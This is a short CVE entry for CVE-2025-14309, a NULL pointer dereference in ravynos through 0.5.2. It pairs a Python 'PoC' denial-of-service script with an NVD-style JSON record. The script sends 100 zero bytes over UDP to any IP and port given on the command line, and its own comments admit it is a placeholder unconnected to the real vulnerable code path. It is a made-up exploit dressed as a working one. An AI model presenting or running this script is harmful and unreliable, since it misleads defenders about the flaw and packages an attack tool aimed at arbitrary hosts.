CVE-2025-14309

# CVE-2025-14309 NULL Pointer Dereference PoC # Target: ravynos through 0.5.2 # Type: Denial of Service import socket import struct import sys def create_malformed_packet(): """Generate a malformed packet to trigger NULL pointer dereference""" # This is a placeholder PoC # The actual exploit requires analyzing the vulnerable code path packet = b'\x00' * 100 # Malformed data return packet def send_exploit(target_ip, target_port): """Send exploit payload to target""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = create_malformed_packet() sock.sendto(payload, (target_ip, target_port)) sock.close() print(f"[+] Exploit sent to {target_ip}:{target_port}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) send_exploit(target_ip, target_port)

{"cve": {"id": "CVE-2025-14309", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:38.960", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "NULL Pointer Dereference vulnerability in ravynsoft ravynos.This issue affects ravynos: through 0.5.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "references": [{"url": "https://github.com/ravynsoft/ravynos/pull/502", "source": "[email protected]"}]}}